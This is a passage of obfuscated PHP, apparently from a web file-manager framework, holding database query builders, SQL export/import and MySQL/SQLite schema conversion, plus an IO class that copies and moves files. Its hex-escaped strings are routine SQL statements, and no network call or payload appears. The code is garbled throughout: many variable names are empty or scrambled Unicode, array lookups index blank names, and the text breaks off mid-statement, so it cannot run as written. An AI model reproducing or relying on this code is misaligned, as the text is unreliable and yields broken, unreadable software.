$this->parseLimit(!empty($[$˜[292]]) ? $[$˜[292]] : $˜[12]) . $this->parseLock(isset($[$˜[842]]) ? $[$˜[842]] : !1) . $this->parseComment(!empty($[$˜[354]]) ? $[$˜[354]] : $˜[12]); return $this->execute($ɘ, $this->parseBind(!empty($[$˜[285]]) ? $[$˜[285]] : array())); } public function delete($뭞̡ = array()) { $ =& $_SERVER[]; $this->model = $뭞̡[$[281]]; $掫 = $[1044] . $this->parseTable($뭞̡[$[279]]) . $this->parseWhere(!empty($뭞̡[$[275]]) ? $뭞̡[$[275]] : $[12]) . $this->parseOrder(!empty($뭞̡[$[365]]) ? $뭞̡[$[365]] : $[12]) . $this->parseLimit(!empty($뭞̡[$[292]]) ? $뭞̡[$[292]] : $[12]) . $this->parseLock(isset($뭞̡[$[842]]) ? $뭞̡[$[842]] : !1) . $this->parseComment(!empty($뭞̡[$[354]]) ? $뭞̡[$[354]] : $[12]); return $this->execute($掫, $this->parseBind(!empty($뭞̡[$[285]]) ? $뭞̡[$[285]] : array())); } public function select($㝊 = array()) { $ֿԥ =& $_SERVER[]; $this->model = $㝊[$ֿԥ[281]]; $ = $this->buildSelectSql($㝊); $˹ = isset($㝊[$ֿԥ[349]]) ? $㝊[$ֿԥ[349]] : !1; if ($˹) { $ؿЍ = is_string($˹[$ֿԥ[94]]) ? $˹[$ֿԥ[94]] : $ֿԥ[1045] . md5($); $Ҟ = think_cache($ؿЍ, $ֿԥ[12], $˹); if (!1 !== $Ҟ) { return $Ҟ; } } $֦ = $this->query($, $this->parseBind(!empty($㝊[$ֿԥ[285]]) ? $㝊[$ֿԥ[285]] : array())); if ($˹ && !1 !== $֦) { think_cache($ؿЍ, $֦, $˹); } return $֦; } public function buildSelectSql($ = array()) { $轭 =& $_SERVER[]; if (isset($[$轭[353]])) { if (strpos($[$轭[353]], $轭[50])) { list($ߥ, $¢) = explode($轭[50], $[$轭[353]]); } else { $ߥ = $[$轭[353]]; } $ߥ = $ߥ ? $ߥ : 1; $¢ = isset($¢) ? $¢ : (is_numeric($[$轭[292]]) ? $[$轭[292]] : 20); $į = $¢ * ((int) $ߥ - 1); $[$轭[292]] = $į . $轭[50] . $¢; } if (think_config($轭[1046])) { $ = $轭[1047] . md5(serialize($)); $ҡ = think_cache($); if ($ҡ) { return $ҡ; } } $ = $this->parseSql($this->selectSql, $); $ .= $this->parseLock(isset($[$轭[842]]) ? $[$轭[842]] : !1); if (isset($)) { think_cache($, $); } return $; } public function parseSql($Ǹׁ, $ = array()) { $ =& $_SERVER[]; $Ǹׁ = str_replace(array($[1048], $[1049], $[1050], $[1051], $[1052], $[1053], $[1054], $[1055], $[1056], $[1057], $[1058]), array($this->parseTable("{$[$[279]]}"), $this->parseDistinct(isset($[$[1059]]) ? $[$[1059]] : !1), $this->parseField(!empty($[$[273]]) ? $[$[273]] : $[189]), $this->parseJoin(!empty($[$[282]]) ? $[$[282]] : $[12]), $this->parseWhere(!empty($[$[275]]) ? $[$[275]] : $[12]), $this->parseGroup(!empty($[$[505]]) ? $[$[505]] : $[12]), $this->parseHaving(!empty($[$[1060]]) ? $[$[1060]] : $[12]), $this->parseOrder(!empty($[$[365]]) ? $[$[365]] : $[12]), $this->parseLimit(!empty($[$[292]]) ? $[$[292]] : $[12]), $this->parseUnion(!empty($[$[347]]) ? $[$[347]] : $[12]), $this->parseComment(!empty($[$[354]]) ? $[$[354]] : $[12])), $Ǹׁ); return $Ǹׁ; } public function getLastSql($ = '') { return $ ? $this->modelSql[$] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($˴) { return addslashes($˴); } public function setModel($) { $this->model = $; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } class DbManage { function __construct($Ǒ = array()) { $ϛȱ =& $_SERVER[]; if (empty($Ǒ)) { $Ǒ = $GLOBALS[$ϛȱ[6]][$ϛȱ[21]]; } $this->database = $Ǒ; } public function model($ӊ = '') { return new ModelBase($ӊ, $_SERVER[][12], $this->database); } public function db($輪 = false) { $ї =& $_SERVER[]; $ڠ = array_change_key_case($this->database); if ($this->dbType() == $ї[13] || !$輪) { return $this->model()->db(); } $ = $ڠ[$ї[974]]; $ڠ[$ї[974]] = $ї[12]; if ($ڠ[$ї[969]] == $ї[966]) { $ֹ = $ڠ[$ї[975]]; $ڠ[$ї[975]] = substr($ֹ, 0, strrpos($ֹ, $ї[1061])); } $this->database = $ڠ; $ = $this->model()->db(); try { $ژ = $->execute("\x73\x68\157\167\x20\x64\x61\x74\141\142\x61\x73\x65\x73\40\x6c\x69\153\145\x20\x27{$}\x27"); } catch (Exception $ʩ͘) { } if (!$ژ) { $->execute("\x63\162\145\141\x74\145\40\144\x61\164\x61\x62\141\163\145\40\x60{$}\x60"); } $ڠ[$ї[974]] = $; if ($ڠ[$ї[969]] == $ї[966]) { $ڠ[$ї[975]] .= $ї[1061] . $; } $this->database = $ڠ; $->execute("\x75\163\145\x20\140{$}\140"); return $; } public function createTable($ɉ, &$瀗) { $ =& $_SERVER[]; if (!IO::exist($ɉ)) { ActionCall($[1062], !0, 0); show_json(LNG($[1063]), !1); } $ = $this->model()->db(); $ę = sqlSplit(IO::getContent($ɉ)); foreach ($ę as $) { $Ă = stripos($, $[1064]) === 0; if ($Ă) { $瀗->task[$[785]] += 1; } $->execute($); if ($Ă) { preg_match($[1065], $, $Ōұ); $瀗->task[$[1066]] = $Ōұ[1]; $瀗->update(1); } } } public function insertTable($풲, &$֠) { $ɒӥ =& $_SERVER[]; $ = $this->model()->db(); $ = $ ? array($) : $->getTables(); foreach ($풲 as $в) { $ = basename($в, $ɒӥ[787]); if (!in_array($, $)) { continue; } $֠->task[$ɒӥ[1066]] = $; if (get_filesize($в) == 0) { continue; } $ڠ = $this->sqlToDb($в, $֠); if (!$ڠ) { ActionCall($ɒӥ[1062], !0, 0); show_json(LNG($ɒӥ[1067]) . "\133{$}\135", !1); } } } public function sqlFromDb($ע䦝, $ޕ, &$, $ = '') { if ($) { $->task[$_SERVER[][1066]] = $ע䦝; } $ = $this->model($ע䦝); $ = 0; $ = 0; $̱ӫ = 10000; $ϔ = fopen($ޕ, $_SERVER[][1068]); $Ԁ = $->getPk(); $מ = $->getDbFields(); $ؙ = $_SERVER[][12]; if ($GLOBALS[$_SERVER[][786]] && in_array($ע䦝, array($_SERVER[][1069], $_SERVER[][1070]))) { $ؙ = $ע䦝; } do { $ = array($Ԁ => array($_SERVER[][1016], $)); $ = $->where($)->field($מ)->order($Ԁ . $_SERVER[][1071])->limit($̱ӫ)->select(); $ = !empty($) ? $ : array(); if (!($ = count($))) { break; } $Б = end($); $ = $Б[$Ԁ]; $쭘 = array(); foreach ($ as $) { if ($ؙ) { if ($ע䦝 == $_SERVER[][1069]) { if ($[$_SERVER[][33]] == $_SERVER[][1072]) { $ͤ = json_decode($[$_SERVER[][374]], !0); if ($ͤ[$_SERVER[][32]] == $GLOBALS[$_SERVER[][786]] && $ͤ[$_SERVER[][748]] != 1) { continue; } } } else { if ($[$_SERVER[][33]] == $_SERVER[][1073] && $[$_SERVER[][94]] == $_SERVER[][778]) { continue; } } } if ($) { $[$_SERVER[][84]] = "\x7b\x69\x6f\x3a{$}\x7d" . substr($[$_SERVER[][84]], strlen("\173\x69\157\72{$[$_SERVER[][816]]}\x7d")); $[$_SERVER[][816]] = $; } $쭘[] = $_SERVER[][1074] . $this->sqlEncode($) . $_SERVER[][1075]; } $Ί = "\111\116\x53\105\x52\124\40\111\116\124\117\x20\140{$ע䦝}\140\x20\x28\x60" . implode($_SERVER[][1076], $מ) . $_SERVER[][1077]; fwrite($ϔ, $Ί . implode($_SERVER[][1078], $쭘) . $_SERVER[][71] . PHP_EOL); $ += $; if ($) { $->update($); } } while ($̱ӫ == $); fclose($ϔ); return $; } public function sqlToDb($, &$) { $Ꝩ =& $_SERVER[]; $ݚ = $this->model()->db(); $އߺ = @fopen($, $Ꝩ[1079]); if (!$އߺ) { return !1; } $ = 0; $Ѭ = $Ꝩ[12]; $ = array(); $ڏ = $this->dbType(); $̱ = $ڏ == $Ꝩ[13] ? 500 : 2000; $һ = basename($, $Ꝩ[787]); $ӏ = 0; $ = 4194304 - 104858; $Ͼ = 1000000 - 104858; while (!feof($އߺ)) { $㳭 = trim(fgets($އߺ)); if (!$㳭) { continue; } $ޕ = $this->sqlDecode($㳭, $ڏ, $һ); if (stripos($ޕ, $Ꝩ[355]) === 0) { if (!$Ѭ) { $Ѭ = $ޕ . $Ꝩ[53]; } continue; } if ($) { $->task[$Ꝩ[785]] += 1; } $++; $[] = rtrim(rtrim(trim($ޕ), $Ꝩ[50]), $Ꝩ[71]); $ = null; $ી = strlen($ޕ); $ӏ += $ી; if ($ӏ >= ($̱ == 500 ? $Ͼ : $)) { $ = array_pop($); if ($ > 1) { $--; } } if ($ >= $̱ || $) { $ޕ = $Ѭ . implode($Ꝩ[50], $); if (!$ݚ->execute($ޕ)) { return !1; } if ($) { $->update($); } $ = array(); $ = 0; $ӏ = 0; if ($) { $ = array($); $ = 1; $ӏ = $ી; } } } fclose($އߺ); if (!empty($)) { $ޕ = $Ѭ . implode($Ꝩ[50], $); if (!$ݚ->execute($ޕ)) { return !1; } if ($) { $->update($); } } return !0; } public function dropTable($ = null) { $ѧގ = $this->model()->db(); $ = $ ? array($) : $ѧގ->getTables(); if (!$) { return; } foreach ($ as $) { if ($) { $ = strtolower($); } else { continue; } $ѧގ->execute("\144\x72\x6f\x70\40\x74\x61\x62\154\145\x20\151\x66\x20\145\x78\151\x73\x74\x73\x20\x60{$}\x60"); } } private function sqlEncode($) { $И =& $_SERVER[]; $ = array(); foreach ($ as $) { if (is_array($)) { $ = json_encode_force($); } $ = addslashes($); $ = str_replace(array($И[1080], $И[231]), array($И[1081], $И[1082]), $); $[] = str_replace($И[58], $И[1083], $); } return $И[58] . implode($И[1084], $) . $И[58]; } private function sqlDecode($, $, $ڪ = '') { $ =& $_SERVER[]; $ = str_replace(array($[1081], $[1082]), array($[1080], $[231]), $); if ($ == $[13]) { return $ڪ != $[1085] ? stripslashes($) : $; } if ($ڪ == $[1085]) { $ = str_replace($[1086], $[118], stripslashes($)); } return $; } public function getSqlFile($͓ = '') { $͆ =& $_SERVER[]; $ށº = $this->dbType(!0); $ = CONTROLLER_DIR . "\151\x6e\163\164\x61\154\154\x2f\x64\141\164\x61\57{$ށº}\x2e\x73\161\154"; $ڪ = file_get_contents($); $Ő = $͆[1087] . ($ށº == $͆[803] ? $͆[1088] : $͆[1089]) . $͆[1090]; preg_match_all($Ő, $ڪ, $Ѷ); $ = $Ѷ[1]; $ʬܻ = $this->model()->db(); $ = $ʬܻ->getTables(); $嬯 = TEMP_FILES . $͆[1091] . date($͆[749]) . $͆[8]; del_dir($嬯); mk_dir($嬯); $㑚 = $嬯 . $͆[1092]; $ڥ = $嬯 . $͆[1093]; $ = $ށº == $͆[13] ? $͆[803] : $͆[13]; IO::copy(CONTROLLER_DIR . "\x69\x6e\163\x74\141\x6c\154\57\x64\x61\164\141\x2f{$}\56\x73\x71\x6c", $嬯); @touch($嬯 . $ށº . $͆[787]); $ܪ = fopen($㑚, $͆[1068]); $Ϸ = fopen($ڥ, $͆[1068]); if ($ށº == $͆[13]) { $ = array_diff($, array($͆[783], $͆[784])); $ڲ = array($͆[1094], $͆[1095], $͆[1096]); fwrite($Ϸ, implode(PHP_EOL, $ڲ) . PHP_EOL . PHP_EOL); foreach ($ as $ȶ) { $ = $this->sqlFromSqlite($ȶ); if (!$[$͆[13]]) { continue; } fwrite($Ϸ, $[$͆[13]] . PHP_EOL . PHP_EOL); if (!in_array($ȶ, $)) { fwrite($ܪ, $[$͆[803]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ as $ȶ) { $ = $this->sqlFromMysql($ȶ); if (!$[$͆[803]]) { continue; } fwrite($ܪ, $[$͆[803]] . PHP_EOL . PHP_EOL); if (!in_array($ȶ, $)) { fwrite($Ϸ, $[$͆[13]] . PHP_EOL . PHP_EOL); } } } fclose($ܪ); fclose($Ϸ); $ڪ = array($͆[803] => $㑚, $͆[13] => $ڥ); return $͓ ? $ڪ[$͓] : $ڪ; } public function dbType($٩ = false) { $ =& $_SERVER[]; $◊ = $٩ ? $GLOBALS[$[6]][$[21]] : $this->database; $◊ = array_change_key_case($◊); $ = $◊[$[969]]; if ($ == $[966]) { $Р = explode($[4], $◊[$[975]]); $ = $Р[0]; } $ = array($[1097] => $[13], $[914] => $[803]); if (isset($[$])) { $ = $[$]; } return $; } public function sqlFromMysql($ֿ̣, $ = '') { $ح =& $_SERVER[]; $ = $this->model()->db(); $ = $->query($ح[1098] . $ֿ̣ . $ح[385]); if (!$ || !$[0]) { return !1; } $ = _get($[0], $ح[1099], $ح[12]); if (!$) { return !1; } $ۅ = "\x44\x52\x4f\120\x20\x54\101\x42\114\x45\40\x49\x46\40\x45\x58\111\123\124\123\x20\x60{$ֿ̣}\x60\x3b" . PHP_EOL . $ . $ح[71]; if ($ && $ == $ح[803]) { return $ۅ; } $ِ = array_change_key_case($GLOBALS[$ح[6]][$ح[21]]); $ņ = $ِ[$ح[974]]; $¾ = $ح[1100] . $ņ . $ح[1101] . $ֿ̣ . $ح[58]; $Շ = $ح[1102] . $ֿ̣ . $ح[902]; $ñ = $->query($¾); if (empty($ñ)) { $䪪 = array($ح[803] => $ح[12], $ح[13] => $ح[12]); return $ ? $䪪[$] : $䪪; } $͗ = $->query($Շ); $ = $ح[12]; $ = array(); foreach ($͗ as $߄) { if (!$ && $߄[$ح[1103]] == $ح[1104]) { $ = $߄[$ح[1105]]; } if (isset($[$߄[$ح[1103]]])) { $[$߄[$ح[1103]]][$ح[1106]][] = $߄[$ح[1105]]; continue; } $[$߄[$ح[1103]]] = array($ح[1107] => $߄[$ح[1103]], $ح[1106] => array($߄[$ح[1105]]), $ح[1108] => $߄[$ح[1109]] == $ح[88] ? 0 : 1); } $ = array(); foreach ($ as $߄) { $ = $߄[$ح[1107]] == $ح[1104]; $ؗ = array($ح[1110], $߄[$ح[1108]] == $ح[88] && !$ ? $ح[1111] : $ح[12], $ح[1112], $ح[1113] . $ֿ̣ . $ح[11] . ($ ? $ح[1114] : $߄[$ح[1107]]) . $ح[118], $ح[1115], $ح[118] . $ֿ̣ . $ح[118], $ح[1116] . implode($ح[1117], $߄[$ح[1106]]) . $ح[1118]); $[] = implode($ح[53], $ؗ) . $ح[71]; } $Ñ = array(); $݈܉ = array($ح[1119] => $ح[1120], $ح[1120] => $ح[1120], $ح[288] => $ح[315], $ح[287] => $ح[315]); foreach ($ñ as $߄) { $ؗ = array($ح[118] . $߄[$ح[1121]] . $ح[118], isset($݈܉[$߄[$ح[1122]]]) ? $݈܉[$߄[$ح[1122]]] : $߄[$ح[1123]], $߄[$ح[1124]] == $ح[900] ? $ح[1125] : $ح[1126], $߄[$ح[1121]] == $ ? $ح[1127] : $ح[12], $߄[$ح[951]] ? strtoupper(str_replace($ح[11], $ح[12], $߄[$ح[951]])) : $ح[12]); $Ñ[] = trim(implode($ح[53], $ؗ)); } $ = array($ح[1128] . $ֿ̣ . $ح[1129], $ح[1130] . $ֿ̣ . $ح[1131], implode($ح[50] . PHP_EOL, $Ñ), $ح[948]); $ = implode(PHP_EOL, array_merge($, $)); if ($ && $ == $ح[13]) { return $; } $䪪 = array($ح[803] => $ۅ, $ح[13] => $); return $ ? $䪪[$] : $䪪; } public function sqlFromSqlite($ԧ, $ٓ = '') { $ɗ =& $_SERVER[]; $ = $this->model()->db(); $Ϊ = "\x50\x52\x41\x47\115\101\40\x54\x41\x42\114\x45\137\x49\x4e\x46\x4f\x20\50\47{$ԧ}\47\51"; $͢ = "\x53\105\114\105\x43\x54\x20\x2a\x20\x46\x52\x4f\115\40\163\161\154\x69\x74\x65\x5f\155\141\163\164\145\x72\40\127\110\105\122\x45\40\164\x62\x6c\137\156\x61\x6d\x65\40\75\40\47{$ԧ}\47"; $ܴ = $->query($Ϊ); if (empty($ܴ)) { $М = array($ɗ[803] => $ɗ[12], $ɗ[13] => $ɗ[12]); return $ٓ ? $М[$ٓ] : $М; } $Ğ = $->query($͢); $nj = $ = array(); foreach ($Ğ as $) { if ($[$ɗ[33]] == $ɗ[279]) { $nj[] = $[$ɗ[1132]]; } else { $[$[$ɗ[32]]] = $[$ɗ[1132]]; } } $ԍ = array_merge(array($ɗ[1128] . $ԧ . $ɗ[118]), $nj, array_values($)); $ԍ = implode($ɗ[71] . PHP_EOL, $ԍ) . $ɗ[71]; if ($ٓ && $ٓ == $ɗ[13]) { return $ԍ; } $Ͷ = array(); $鈄 = array($ɗ[1120] => $ɗ[1133], $ɗ[315] => $ɗ[1134]); $燥ݾ = $ɗ[12]; foreach ($ܴ as $) { if ($[$ɗ[57]] == $ɗ[88]) { $燥ݾ = $[$ɗ[32]]; } $ = array($ɗ[385] . $[$ɗ[32]] . $ɗ[385], isset($鈄[$[$ɗ[33]]]) ? $鈄[$[$ɗ[33]]] : $[$ɗ[33]], $[$ɗ[35]] == $ɗ[88] ? $ɗ[1125] : $ɗ[1135] . $[$ɗ[56]], $[$ɗ[57]] == $ɗ[88] ? $ɗ[1136] : $ɗ[12]); $Ͷ[] = trim(implode($ɗ[53], $)); } foreach ($ as $ => $߹) { $ = str_replace($ɗ[1137] . $ԧ . $ɗ[11], $ɗ[12], $); $ܦ = str_replace(array($ɗ[118], $ɗ[959]), $ɗ[385], substr($߹, stripos($߹, $ɗ[260]))); if ($ == $ɗ[1114]) { $ = $ɗ[1138] . $燥ݾ . $ɗ[1139]; } else { $ = (stripos($, $ɗ[11]) ? $ɗ[1140] : $ɗ[12]) . ($ɗ[1141] . $ . $ɗ[1142] . $ܦ); } $Ͷ[] = $; } $ʹ = array($ɗ[1143] . $ԧ . $ɗ[1144], $ɗ[1145] . $ԧ . $ɗ[1146], implode($ɗ[50] . PHP_EOL, $Ͷ), $ɗ[1147]); $ʬ = implode(PHP_EOL, $ʹ); if ($ٓ && $ٓ == $ɗ[803]) { return $ʬ; } $М = array($ɗ[803] => $ʬ, $ɗ[13] => $ԍ); return $ٓ ? $М[$ٓ] : $М; } } class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($, $) { $ =& $_SERVER[]; $ = $; $GLOBALS[$[1148]] = $[1149] . $; Hook::trigger($[1149] . $ . $[1150], $); $ = self::driverMake($[0]); if (!$) { return !1; } if (method_exists($, $)) { $ = @call_user_func_array(array($, $), $); } else { if (method_exists($, $[1151])) { $ = @call_user_func_array(array($, $), $); } else { if (method_exists(self, $)) { $ = @call_user_func_array(array(self, $), $); } else { $ = call_user_func_array(array(parent, $), $); } } } Hook::trigger($[1149] . $ . $[1152], $, $); return $; } public static function init($) { return self::driverMake($); } public static function copy($Օ, $ޤ, $ = false, $ݵ = false) { return self::copyMoveStart($Օ, $ޤ, $, $_SERVER[][546], $ݵ); } public static function move($ʈ, $, $ = false, $召 = false) { return self::copyMoveStart($ʈ, $, $, $_SERVER[][548], $召); } private static function copyMoveStart($Ҫ, $, $, $Ã, $) { $ =& $_SERVER[]; $쏁 = array($Ҫ, $, $, $); Hook::trigger($[1149] . $à . $[1150], $쏁); $ꊦ = self::copyMove($Ҫ, $, $, $Ã, $); Hook::trigger($[1149] . $à . $[1152], $쏁, $ꊦ); return $ꊦ; } public static function saveFile($ɳ, $, $ = true) { $ =& $_SERVER[]; $㖘 = self::info($); $Á = self::driverMake($ɳ); $ = self::driverMake($); $́ = !1; if ($->pathParse[$[1153]]) { $́ = $; $ = $->pathParse[$[1153]]; $ = self::driverMake($); } if ($Á->pathParse[$[1153]]) { $ߩ嬍 = $Á->pathParse[$[1153]]; $Á = self::driverMake($ߩ嬍); } $ = $->pathFather($); $Ź = !0; if (!$ && self::driverIsSame($Á, $)) { $Ź = !1; } $й = self::copyFile($Á, $ɳ, $, $, $㖘[$[32]], $Ź); if ($́) { $й = $́->getPathOuter($й); } return $й; } private static function copyMove($݅, $ₕ, $, $堼, $ = false) { $ =& $_SERVER[]; if (!$݅ || $݅ == $[8] || !$ₕ) { return !1; } ignore_timeout(); $Ӿ = self::driverMake($݅); $ˏ = self::driverMake($ₕ); $߷Ɔ = $堼 == $[548]; $犴 = !1; if ($ˏ->pathParse[$[1153]]) { $犴 = $ˏ; $ₕ = $ˏ->pathParse[$[1153]]; $ˏ = self::driverMake($ₕ); } if ($Ӿ->pathParse[$[1153]]) { $݅ = $Ӿ->pathParse[$[1153]]; $Ӿ = self::driverMake($݅); } self::check($Ӿ, $݅, $ˏ, $ₕ); Hook::trigger($[1154], $Ӿ, $݅, $ˏ, $ₕ); $ኜ = self::driverIsSame($Ӿ, $ˏ); if ($ኜ) { if ($堼 == $[548] && !method_exists($ˏ, $[1155]) && trim($ₕ, $[8]) == trim($ˏ->pathFather($݅), $[8])) { if ($Ӿ->pathThis($݅) != $ && !$Ӿ->isTypeObject()) { return $Ӿ->rename($݅, $); } return $ˏ->getPathOuter($݅); } if (method_exists($ˏ, $堼)) { return $ˏ->{$堼}($݅, $ₕ, $, $); } } if ($ኜ && $堼 == $[548] && $ˏ->getType() == $[106]) { $ = $ˏ->movePath($݅, $ₕ, $); if ($) { return $; } } $ = $Ӿ->isFile($݅); if (!$ && $ˏ->getType() == $[756] && $Ӿ->getType() == $[106]) { $ = $ˏ->copyFolderFromIO($Ӿ, $݅, $ₕ, $, $߷Ɔ, $); } else { $ = self::copyPath($Ӿ, $݅, $ˏ, $ₕ, $, $߷Ɔ, $, $); } if ($ && $߷Ɔ) { $Ӿ->remove($݅); } if ($犴) { $ = $犴->getPathOuter($); } return $; } private static function check($ҝ, $, $ף, &$£) { $ =& $_SERVER[]; if (self::driverIsSame($ҝ, $ף) && $ҝ->isFolder($) && $ҝ->isParentOf($, $£)) { show_json(LNG($[1156]), !1); } if (!$ҝ->exist($)) { show_json(LNG($[105]), !1); } } private static function copyPath($, $, $Ǽ, $, $, $, $˂Ԭ, $ = false, $Ď = true) { $ =& $_SERVER[]; $ԡ = empty($) && $ !== $[198] ? $->pathThis($) : $; if ($) { $Җ = $Ǽ->fileNameExist($, $ԡ); $ҳѡ = $ԡ; $ԡ = $Ǽ->fileNameAuto($, $ԡ, $, !$˂Ԭ); if (!$Җ || $ҳѡ != $ԡ) { $ = !1; } if ($Ď && !$) { $Ǽ->_data[$[1157]] = !0; } } if ($˂Ԭ) { return self::copyFile($, $, $Ǽ, $, $ԡ, $); } if ($ == REPEAT_RENAME_FOLDER) { $ = !1; } $ = rtrim($, $[8]) . $[8] . $ԡ; $džΉ = $Ǽ->mkdir($Ǽ->getPath($), $); $ = $Ǽ->getPathInner($džΉ); $ӆٔ = $->listPath($, !0); $ӆٔ = is_array($ӆٔ) ? $ӆٔ : array($[83] => array(), $[82] => array()); $ι = array_merge($ӆٔ[$[83]], $ӆٔ[$[82]]); foreach ($ι as $) { $ = $[$[33]] == $[200]; $ = $->getPathInner($[$[84]]); $妏 = self::copyPath($, $, $Ǽ, $, $, $, $, !1, !1); if (!$妏) { IO::errorTips($[1158] . $ . $[70] . $); } } self::copyMoveKeepInfo($, $, $džΉ); return $džΉ; } private static function copyFile($ɪ, $ò, $Ѥ, $ߕ, $̧, $ś) { $ =& $_SERVER[]; $ߕ = $Ѥ->getPath(rtrim($ߕ, $[8]) . $[8] . $̧); $͠ = $[1159] . time() . rand_string(5); Hook::trigger($[1160], $ɪ, $ò, $Ѥ, $ߕ, $̧, $͠); if (self::driverIsSame($ɪ, $Ѥ)) { if ($ś) { $ߌڪ = $Ѥ->moveFile($ò, $ߕ); } else { $ߌڪ = $Ѥ->copyFile($ò, $ߕ); } Hook::trigger($[1161], $ɪ, $ò, $Ѥ, $ߕ, $̧, $ߌڪ); self::copyMoveKeepInfo($ɪ, $ò, $ߌڪ); return $ߌڪ; } $ = TEMP_FILES; if ($GLOBALS[$[6]][$[89]][$[795]]) { $ = $GLOBALS[$[6]][$[89]][$[795]]; } $ө = $; mk_dir($ө); $ = $ө . $͠; $ = $; $ = $ɪ->download($ò, $); $ = $ɪ->iconvApp($); if (substr($, strlen($)) == $) { $ś = !0; } $ߌڪ = $Ѥ->upload($ߕ, $, $ś); self::remove($); Hook::trigger($[1161], $ɪ, $ò, $Ѥ, $ߕ, $̧, $ߌڪ); self::copyMoveKeepInfo($ɪ, $ò, $ߌڪ); return $ߌڪ; } private static function copyMoveKeepInfo($, $ŧ, $ז) { if (!$ז) { return; } $ = $->info($ŧ); if (!is_array($)) { return; } IO::setModifyTime($ז, $[$_SERVER[][85]]); } public static function pathFather($؊) { $ = IO::init($؊); $Ȫ = $->pathFather($->path); return $->getPathOuter($Ȫ); } public static function fileOut($ɏ, $ǖ = false, $刳 = false, $ћ = '') { $ߨ = self::driverMake($ɏ); if ($ߨ->isFileOutServer()) { return $ߨ->fileOutServer($ɏ, $ǖ, $刳, $ћ); } return $ߨ->fileOut($ɏ, $ǖ, $刳, $ћ); } public static function fileOutImage($ǵ߃, $ = 250) { $ˡ = array(250, 600, 1200, 2000, 3000, 5000); for ($槉 = 0; $槉 < count($ˡ); $槉++) { if ($槉 == 0 && $ <= $ˡ[$槉]) { $ = $ˡ[$槉]; break; } else { if ($ > $ˡ[$槉 - 1] && $ <= $ˡ[$槉]) { $ = $ˡ[$槉]; break; } else { if ($槉 == count($ˡ) - 1 && $ > $ˡ[$槉]) { $ = $ˡ[$槉]; break; } } } } $ = self::driverMake($ǵ߃); if ($->isFileOutServer()) { return $->fileOutImageServer($ǵ߃, $); } return $->fileOutImage($ǵ߃, $); } private static function driverIsSame($, $驸) { $ӌ =& $_SERVER[]; $˄ = $->getType(); $ = $驸->getType(); if ($˄ != $) { return !1; } if ($˄ == $ӌ[756]) { return !0; } if ($˄ == $ӌ[106]) { return !0; } if ($->pathDriver == $驸->pathDriver) { return !0; } return !1; } public static function copyUpdate($ݪў, $ŋ) { $Ѫ =& $_SERVER[]; if (!IO::exist($ݪў)) { return !1; } if (!IO::exist($ŋ)) { IO::mkdir($ŋ); } $ς = array_to_keyvalue(self::listAllSimple($ݪў), $Ѫ[84]); $ˍ = array_to_keyvalue(self::listAllSimple($ŋ), $Ѫ[84]); $ݕ = array(); $Ȅ = array(); foreach ($ς as $˻ => $) { if (isset($ˍ[$˻])) { if ($[$Ѫ[75]] == 1) { continue; } if ($ˍ[$˻][$Ѫ[76]] == $[$Ѫ[76]]) { continue; } } if ($[$Ѫ[75]] == 1) { $Ȅ[] = $ŋ . $Ѫ[8] . trim($˻, $Ѫ[8]); continue; } $舒 = strstr(trim($˻, $Ѫ[8]), $Ѫ[8]) ? get_path_father($˻) : $Ѫ[12]; $ݕ[] = array($Ѫ[1162] => $[$Ѫ[86]], $Ѫ[1163] => rtrim($ŋ, $Ѫ[8]) . $Ѫ[8] . $舒, $Ѫ[1164] => $); } $Ӵł = array($Ѫ[200] => $ݕ, $Ѫ[75] => $Ȅ); Hook::trigger($Ѫ[1165], $ݪў, $ŋ, $Ӵł); foreach ($Ȅ as $) { IO::mkdir($); } foreach ($ݕ as $) { IO::copy($[$Ѫ[1162]], $[$Ѫ[1163]], REPEAT_REPLACE); } } public static function fileSubstr($, $µ, $֑ = false) { $ =& $_SERVER[]; $Ĉޑ = self::driverMake($); $Ի = $Ĉޑ->size($); $ = $µ; $נ֍ݑ = $֑; if ($µ < 0) { $µ = $Ի + $µ; } if ($֑ === !1) { $֑ = $Ի - $µ; } if ($µ + $֑ > $Ի) { $֑ = $Ի - $µ; } if (!$Ի && $Ĉޑ->getType() == $[106] && !$Ĉޑ->exist($)) { $ = get_path_this($); $ԍ = parse_url_query($); if (is_array($ԍ) && isset($ԍ[$[32]])) { $ = urldecode($ԍ[$[32]]); } throw new Exception($[1166] . LNG($[1167]) . $[968] . clear_html($) . $[12]); } if ($֑ <= 0) { return $[12]; } if ($µ < 0 || $µ >= $Ի || $֑ > 1024 * 1024 * 10) { throw new Exception("\146\x69\154\x65\122\145\x61\144\40\x65\x72\162\x6f\x72\x21\x20\163\x74\141\x72\x74\x3d{$µ}\73\x6c\145\x6e\x67\164\150\75{$֑}\x3b\40\x73\151\x7a\145\75{$Ի}\73"); } $ = $Ĉޑ->fileSubstr($, $µ, $֑); if (!$ && $֑ && isset($GLOBALS[$[1168]])) { throw new Exception($GLOBALS[$[1168]][$[1169]]); } return $; } private static function driverMake(&$ٴ) { $՜ =& $_SERVER[]; $˳ = KodIO::parse($ٴ); if (!self::$driverListSystem) { $ = Model($՜[766])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($, $՜[399]); } if ($˳[$՜[33]] == KodIO::KOD_IO && !self::$driverListSystem[$˳[$՜[399]]]) { return !1; } $ٴ = $˳[$՜[1170]]; $߫ô = self::driverGet($˳, $ٴ); return $߫ô; } private static function driverGet($ǵ, &$) { $ڡ =& $_SERVER[]; $ķ〪 = $ǵ[$ڡ[1171]]; $ԫ = $ǵ[$ڡ[399]]; switch ($ǵ[$ڡ[33]]) { case KodIO::KOD_IO: $ = self::$driverListSystem[$ԫ]; break; case KodIO::KOD_SOURCE: $ = $ԫ . $; $ = array($ڡ[1172] => $ڡ[1173], $ڡ[6] => $ǵ); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $ң = $GLOBALS[$ڡ[1174]]; self::$driverListUser = array_to_keyvalue($ң, $ڡ[399]); } $ = self::$driverListUser[$ԫ]; break; case KodIO::KOD_SHARE_LINK: $ = array($ڡ[1172] => $ڡ[1175], $ڡ[6] => $ǵ); $ = Action($ڡ[1176])->sharePathInfo($ǵ[$ڡ[84]]); $ = $[$ڡ[402]]; if (!$[$ڡ[402]]) { $ʚ = 